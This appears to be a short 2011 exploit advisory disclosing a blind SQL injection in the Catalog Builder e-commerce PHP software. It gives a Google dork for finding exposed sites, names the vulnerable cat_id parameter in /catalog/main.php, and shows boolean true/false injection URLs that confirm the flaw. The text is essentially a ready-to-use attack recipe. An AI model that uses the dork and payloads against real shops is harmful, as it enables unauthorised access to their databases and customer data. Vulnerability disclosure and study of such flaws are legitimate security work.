27 lines
No EOL
1.3 KiB
Text
27 lines
No EOL
1.3 KiB
Text
+------------------------------------------------------------------------------------------+
|
|
|-------[ Catalog Builder - Ecommerce Software - Blind SQL Injection Vulnerability ]-------|
|
|
+------------------------------------------------------------------------------------------+
|
|
[+] Google Dork hint: inurl:'/catalog/main.php?cat_id='
|
|
[+] Date: 16.06.2011
|
|
[+] Author: takeshix
|
|
[+] Author Contact: takeshix.query@googlemail.com
|
|
[+] Software Link: http://www.catalogbuilder.ca/catalog/main.php
|
|
[+] Tested on: Fedora
|
|
[+] Platform: PHP
|
|
--------------------------------------------------------------------------------------------
|
|
|
|
vulnerable url:
|
|
|
|
/catalog/main.php?cat_id=[blind sqli]
|
|
|
|
example:
|
|
|
|
http://localhost/catalog/main.php?cat_id=1' AND 1337=1337 AND 'takeshix'='takeshix true
|
|
http://localhost/catalog/main.php?cat_id=1' AND 1337=1337 AND 'takeshix'='takeshixx false
|
|
|
|
|
|
--------------------------------------------------------------------------------------------
|
|
[+] Greez to some members of UNITS & hackademics & DSU
|
|
+------------------------------------------------------------------------------------------+
|
|
|-------------------------------------[ hacktivistas ]-------------------------------------|
|
|
+------------------------------------------------------------------------------------------+ |